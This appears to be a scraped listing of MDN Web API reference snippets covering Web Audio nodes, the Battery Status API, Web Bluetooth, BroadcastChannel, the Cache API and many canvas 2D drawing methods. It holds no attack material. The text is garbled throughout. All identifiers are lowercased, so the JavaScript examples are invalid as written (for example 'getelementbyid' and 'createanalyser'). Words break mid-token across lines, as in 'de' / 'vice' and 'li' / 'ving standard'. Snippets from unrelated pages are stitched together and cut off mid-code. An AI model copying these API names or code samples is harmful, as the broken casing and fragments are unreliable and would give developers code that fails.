the createanalyser() method of the baseaudiocontext interface creates an analysernode, which can be used to expose audio time and frequency data and create data
visualisations.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { draw
visual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength;...
BaseAudioContext.createConstantSource() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateconstantsourcechrome full support 56edge full support ≤79firefox full support 53ie no support noopera full supp...
...ort 43safari no support noweb
view android full support 56chrome android full support 56firefox android full support 53opera android full support 43safari ios no support nosamsung internet android full support 6.0legend full support full support no support no support ...
BaseAudioContext.createDynamicsCompressor() - Web APIs
it is especially important in games and musical applications where large numbers of indi
vidual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output.
...for a more complete example, have a look at our basic compressor example (
view the source code).
BaseAudioContext.decodeAudioData() - Web APIs
note: you can run the example live (or
view the source.) // define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var source; var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); // use xhr to load an audio track, and // decodeaudiodata to decode it and stick it in a buffer.
... // then we put the buffer into the source function getdata() { source = audioctx.createbuffersource(); var request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding audio data" + e.err); }); } request.send(); } // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute...
BasicCardRequest.supportedTypes - Web APIs
the obsolete supportedtypes property of the basiccardrequest dictionary can optionally be pro
vided to specify an array of domstrings representing the card types that the retailer supports (e.g.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['
visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ...
BatteryManager.charging - Web APIs
a boolean value indicating whether or not the de
vice's battery is currently being charged.
... example html content <div id="charging">(charging state unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
syntax na
vigator.battery.onlevelchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the levelchange event occurs.
... example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(charging state unknown)</div> javascript na
vigator.getbattery().then(function(battery) { battery.onlevelchange = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager - Web APIs
the batterymanager interface pro
vides ways to get information about the system's battery charge level.
... the na
vigator.getbattery() method returns a battery promise that is resolved in a batterymanager interface which you can use to interact with the battery status api.
BiquadFilterNode - Web APIs
it is an audionode that can represent different kinds of filters, tone control de
vices, and graphic equalizers.
... biquadfilternode.getfrequencyresponse() from the current filter parameter settings this method calculates the frequency response for frequencies specified in the pro
vided array of frequencies.
BlobBuilder - Web APIs
the blobbuilder interface pro
vides an easy way to construct blob objects.
... method over
view void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring contenttype); file getfile(in domstring name, [optional] in domstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built.
adData - Web APIs
the bluetoothde
vice.addata read-only property returns instance of bluetoothadvertisingdata containing the most recent advertising data received for the de
vice.
... syntax var instanceofbluetoothaddata = instanceofbluetoothde
vice.addata returns an instance of bluetoothadvertisingdata.
connectGATT() - Web APIs
the bluetoothde
vice.connectgatt() method returns a promise that resolves to an instance of bluetoothgattremoteserver.
... syntax instanceofbluetoothde
vice.connectgatt().then(function(bluetoothgattremoteserver) { ...
gattServer - Web APIs
the bluetoothde
vice.gattserver read-only property returns a reference to the de
vice's gatt server or null if the de
vice is disconnected.
... syntax var gattserver = instanceofbluetoothde
vice.gattserver returns a reference to the de
vice's gatt server or null if the de
vice is disconnected.
id - Web APIs
the bluetoothde
vice.id read-only property returns a domstring that uniquely identifies a de
vice.
... syntax var id = instanceofbluetoothde
vice.id returns a domstring.
productID - Web APIs
the bluetoothde
vice.productid read-only property returns the 16-bit product id field in the pnp_id characteristic in the de
vice_information ser
vice.
... syntax var productid = instanceofbluetoothde
vice.productid returns the 16-bit product id field.
productVersion - Web APIs
the bluetoothde
vice.productversion read-only property returns the 16-bit product version field in the pnp_id characteristic in the de
vice_information ser
vice.
... syntax var productversion = instanceofbluetoothde
vice.productversion returns the 16-bit product version field.
vendorID - Web APIs
the bluetoothde
vice.vendorid read-only property returns the 16-bit vendor id field in the pnp_id characteristic in the de
vice_information ser
vice.
... syntax var vendorid = instanceofbluetoothde
vice.vendorid returns the the 16-bit vendor id field.
vendorIDSource - Web APIs
the bluetoothde
vice.vendoridsource read-only property returns the vendor id source field in the pnp_id characteristic in the de
vice_information ser
vice.
... syntax var vendoridsource = instanceofbluetoothde
vice.vendoridsource returns the vendor id source field.
getCharacteristic() - Web APIs
the bluetoothgattser
vice.getcharacteristic() method returns a promise to an instance of bluetoothgattcharacteristic for a given universally unique identifier (uuid).
... syntax bluetoothgattser
viceinstance.getcharacteristic(characteristic).then(function(bluetoothgattcharacteristic) { ...
getCharacteristics() - Web APIs
the bluetoothgattser
vice.getcharacteristics() method returns a promise to a list of bluetoothgattcharacteristic instances for a given universally unique identifier (uuid).
... syntax bluetoothgattser
viceinstance.getcharacteristics(characteristics).then(function(bluetoothgattcharacteristic[]) { ...
uuid - Web APIs
the bluetoothgattser
vice.uuid read-only property returns a domstring representing the uuid of this ser
vice.
... syntax var uuid = bluetoothgattser
vice.uuid returns a domstring.
Body.arrayBuffer() - Web APIs
once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.) function getdata() { source = audioctx.createbuffersource(); var myrequest = new request('
viper.ogg'); fetch(myrequest).then(function(response) { return response.arraybuffer(); }).then(function(buffer) { audioctx.decodeaudiodata(buffer, function(decodeddata) { source.buffer = decodeddata; source.connect(audioctx.destination); }); }); }; // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play.setattribut...
... li
ving standard ...
Body - Web APIs
this pro
vides these objects with an associated body (a stream), a used flag (initially unset), and a mime type (initially the empty byte sequence).
... li
ving standard ...
BroadcastChannel() - Web APIs
var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html li
ving standardthe definition of 'broadcastchannel()' in that specification.
... li
ving standard initial definition.
BroadcastChannel.close() - Web APIs
syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html li
ving standardthe definition of 'broadcastchannel.close()' in that specification.
... li
ving standard initial definition.
BroadcastChannel.name - Web APIs
syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html li
ving standardthe definition of 'broadcastchannel.name' in that specification.
... li
ving standard initial definition.
BroadcastChannel.onmessage - Web APIs
'${ev.data}'`); }; specifications specification status comment html li
ving standardthe definition of 'broadcastchannel.onmessage' in that specification.
... li
ving standard initial definition.
BroadcastChannel.postMessage() - Web APIs
syntax var str = channel.postmessage(object); specifications specification status comment html li
ving standardthe definition of 'broadcastchannel.postmessage()' in that specification.
... li
ving standard initial definition.
CDATASection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... li
ving standard re-added in issue #295 due to web breakage dom4the definition of 'cdatasection' in that specification.
CSSKeyframesRule - Web APIs
the parameter is the index of the keyframe to be deleted, expressed as a domstring resol
ving as a number between 0% and 100%.
...the key is a domstring containing an index of the keyframe to be returned, resol
ving to a percentage between 0% and 100%.
CSSStyleRule.selectorText - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselectortextchrome full support 1edge full support 12firefox full support 1ie full support 9opera full support ...
... yessafari full support 6web
view android full support 4.4chrome android full support 18firefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support 1.0legend full support full support ...
CSSStyleSheet.cssRules - Web APIs
the read-only cssstylesheet property cssrules returns a live cssrulelist which pro
vides a real-time, up-to-date list of every css rule which comprises the stylesheet.
... examples indi
vidual rules within the stylesheet can then be accessed by index: let rulelist = document.stylesheets[0].cssrules; for (let i=0; i < rulelist.length; i++) { processrule(rulelist[i]); } rules can also be accessed using for...of: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { processrule(rule); } however, because cssrule is not a proper array, you can't use foreach().
CSSUnparsedValue - Web APIs
methods cssunparsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that pro
vided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... cssunparsedvalue.foreach() executes a pro
vided function once for each element of the cssunparsedvalue object.
CSS Font Loading API - Web APIs
the css font loading api pro
vides events and interfaces for dynamically loading font resources.
... fontfacesource a mixin pro
viding all of the fonts used in font-related operations, unless defined otherwise.
Cache.add() - Web APIs
note: add() will overwrite any key/value pair pre
viously stored in the cache that matches the request.
... this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment ser
vice workersthe definition of 'cache: add' in that specification.
Cache.addAll() - Web APIs
note: addall() will overwrite any key/value pairs pre
viously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a pre
vious cache entry stored by the same addall() method.
...ml', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment ser
vice workersthe definition of 'cache: addall' in that specification.
Cache.put() - Web APIs
fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair pre
viously stored in the cache that matches the request.
...nse = caches.match(event.request).catch(function() { return fetch(event.request); }).then(function(r) { response = r; caches.open('v1').then(function(cache) { cache.put(event.request, response); }); return response.clone(); }).catch(function() { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); specifications specification status comment ser
vice workersthe definition of 'cache: put' in that specification.
CacheStorage.delete() - Web APIs
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new ser
vice worker is activated.
... this.addeventlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); specifications specification status comment ser
vice workersthe definition of 'cachestorage: delete' in that specification.
CacheStorage.keys() - Web APIs
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new ser
vice worker is activated.
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachewhitelist.indexof(key) === -1) { return caches.delete(key); } }); }) ); }); specifications specification status comment ser
vice workersthe definition of 'cachestorage: keys' in that specification.
CanvasGradient.addColorStop() - Web APIs
ript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let gradient = ctx.createlineargradient(0, 0, 200, 0); gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.7, 'white'); gradient.addcolorstop(1, 'pink'); ctx.fillstyle = gradient; ctx.fillrect(10, 10, 200, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasgradient.addcolorstop' in that specification.
... li
ving standard ...
CanvasGradient - Web APIs
specifications specification status comment html li
ving standardthe definition of 'canvasgradient' in that specification.
... li
ving standard ...
CanvasPattern.setTransform() - Web APIs
ect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); specifications specification status comment html li
ving standardthe definition of 'canvaspattern.settransform' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.arc() - Web APIs
et endangle = math.pi + (math.pi * j) / 2; // end point on circle let anticlockwise = i % 2 == 1; // draw anticlockwise ctx.arc(x, y, radius, startangle, endangle, anticlockwise); if (i > 1) { ctx.fill(); } else { ctx.stroke(); } } } result screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.arc' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.arcTo() - Web APIs
changes over time let a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimationframe(loop); } loop(0); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.arcto' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.beginPath() - Web APIs
t canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // first path ctx.beginpath(); ctx.strokestyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(200, 20); ctx.stroke(); // second path ctx.beginpath(); ctx.strokestyle = 'green'; ctx.moveto(20, 20); ctx.lineto(120, 120); ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.beginpath' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(30, 30); ctx.beziercurveto(120,160, 180,10, 220,140); ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.beziercurveto' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.canvas - Web APIs
you can get a reference to the canvas element within the canvasrenderingcontext2d by using the canvas property: var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.canvas // htmlcanvaselement specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.canvas' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.clearRect() - Web APIs
und ctx.beginpath(); ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.clearrect' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.closePath() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(240, 20, 40, 0, math.pi); ctx.moveto(100, 20); ctx.arc(60, 20, 40, 0, math.pi); ctx.moveto(215, 80); ctx.arc(150, 80, 65, 0, math.pi); ctx.closepath(); ctx.linewidth = 6; ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.closepath' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.createLinearGradient() - Web APIs
t point is at x=220, y=0 var gradient = ctx.createlineargradient(20,0, 220,0); // add three color stops gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.5, 'cyan'); gradient.addcolorstop(1, 'green'); // set the fill style and draw a rectangle ctx.fillstyle = gradient; ctx.fillrect(20, 20, 200, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.createlineargradient' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.createRadialGradient() - Web APIs
with radius=70 var gradient = ctx.createradialgradient(110,90,30, 100,100,70); // add three color stops gradient.addcolorstop(0, 'pink'); gradient.addcolorstop(.9, 'white'); gradient.addcolorstop(1, 'green'); // set the fill style and draw a rectangle ctx.fillstyle = gradient; ctx.fillrect(20, 20, 160, 160); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.createradialgradient' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.direction - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hi!', 150, 50); ctx.direction = 'rtl'; ctx.filltext('hi!', 150, 130); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.direction' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
'blue' : 'black'; ctx.filltext(el.textcontent, x + width / 2, y + height / 2); // define clickable area ctx.beginpath(); ctx.rect(x, y, width, height); // draw focus ring, if appropriate ctx.drawfocusifneeded(el); } result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.drawfocusifneeded' in that specification.
... li
ving standard initial definition ...
CanvasRenderingContext2D.ellipse() - Web APIs
npath(); ctx.ellipse(60, 75, 50, 30, math.pi * .25, 0, math.pi * 1.5); ctx.fill(); ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.ellipse(150, 75, 50, 30, math.pi * .25, 0, math.pi); ctx.fill(); ctx.fillstyle = 'green'; ctx.beginpath(); ctx.ellipse(240, 75, 50, 30, math.pi * .25, 0, math.pi, true); ctx.fill(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.ellipse' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.fill() - Web APIs
const ctx = canvas.getcontext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.fill' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.fillRect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillrect(0, 0, canvas.width, canvas.height); specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.fillrect' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.font - Web APIs
let f = new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.font' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.getImageData() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 100, 100); ctx.fill(); let imagedata = ctx.getimagedata(60, 60, 200, 100); ctx.putimagedata(imagedata, 150, 10); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.getimagedata' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.getLineDash() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([10, 20]); console.log(ctx.getlinedash()); // [10, 20] // draw a dashed line ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.getlinedash' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.getTransform() - Web APIs
.getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.gettransform' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification.
... li
ving standard compositing and blending level 1 candidate recommendation ...
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
.5, 20); ctx.drawimage(img, 0, 24, w, h); ctx.filltext('smoothing = true', w * 2.5, 20); ctx.imagesmoothingenabled = true; ctx.drawimage(img, w, 24, w * 3, h * 3); ctx.filltext('smoothing = false', w * 5.5, 20); ctx.imagesmoothingenabled = false; ctx.drawimage(img, w * 4, 24, w * 3, h * 3); }; result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.imagesmoothingenabled' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
nvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html li
ving standardthe definition of 'imagesmoothingquality' in that specification.
... li
ving standard initial definition.
CanvasRenderingContext2D.isPointInPath() - Web APIs
stener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.ispointinpath' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
check whether point is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } else { ctx.strokestyle = 'red'; } // draw ellipse ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(ellipse); ctx.stroke(ellipse); }); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.ispointinstroke' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.lineCap - Web APIs
, 10); ctx.moveto(10, 140); ctx.lineto(140, 140); ctx.stroke(); // draw lines ctx.strokestyle = 'black'; for (let i = 0; i < linecap.length; i++) { ctx.linewidth = 15; ctx.linecap = linecap[i]; ctx.beginpath(); ctx.moveto(25 + i * 50, 10); ctx.lineto(25 + i * 50, 140); ctx.stroke(); } screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.linecap' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.lineDashOffset - Web APIs
etcontext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.linedashoffset' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.lineJoin - Web APIs
', 'miter']; ctx.linewidth = 10; for (let i = 0; i < linejoin.length; i++) { ctx.linejoin = linejoin[i]; ctx.beginpath(); ctx.moveto(-5, 5 + i * 40); ctx.lineto(35, 45 + i * 40); ctx.lineto(75, 5 + i * 40); ctx.lineto(115, 45 + i * 40); ctx.lineto(155, 5 + i * 40); ctx.stroke(); } screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.linejoin' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.lineTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.linewidth = 15; ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.lineto' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.measureText() - Web APIs
you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('hello world'); console.log(text.width); // 56; specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.measuretext' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.miterLimit - Web APIs
h, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.miterlimit' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.moveTo() - Web APIs
var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(50, 50); // begin first sub-path ctx.lineto(200, 50); ctx.moveto(50, 90); // begin second sub-path ctx.lineto(280, 120); ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.moveto' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 110); ctx.quadraticcurveto(230, 150, 250, 20); ctx.stroke(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.quadraticcurveto' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.rect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 20, 150, 100); ctx.fill(); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.rect' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.resetTransform() - Web APIs
polyfill you can also use the settransform() method to reset the current transform to the identity matrix, like so: ctx.settransform(1, 0, 0, 1, 0, 0); specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.resettransform' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.restore() - Web APIs
tml <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.restore' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.setLineDash() - Web APIs
ument.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let y = 15; drawdashedline([]); drawdashedline([1, 1]); drawdashedline([10, 10]); drawdashedline([20, 5]); drawdashedline([15, 3, 3, 3]); drawdashedline([20, 3, 3, 3, 3, 3, 3, 3]); drawdashedline([12, 3, 3]); // equals [12, 3, 3, 12, 3, 3] result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.setlinedash' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.shadowBlur - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowblur = 15; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.shadowblur' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.shadowColor - Web APIs
hadowcolor = 'rgba(255, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(10, 10, 150, 100); // stroked rectangle ctx.linewidth = 10; ctx.strokestyle = 'rgba(0, 0, 255, .6)'; ctx.strokerect(10, 10, 150, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.shadowcolor' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.strokeRect() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html li
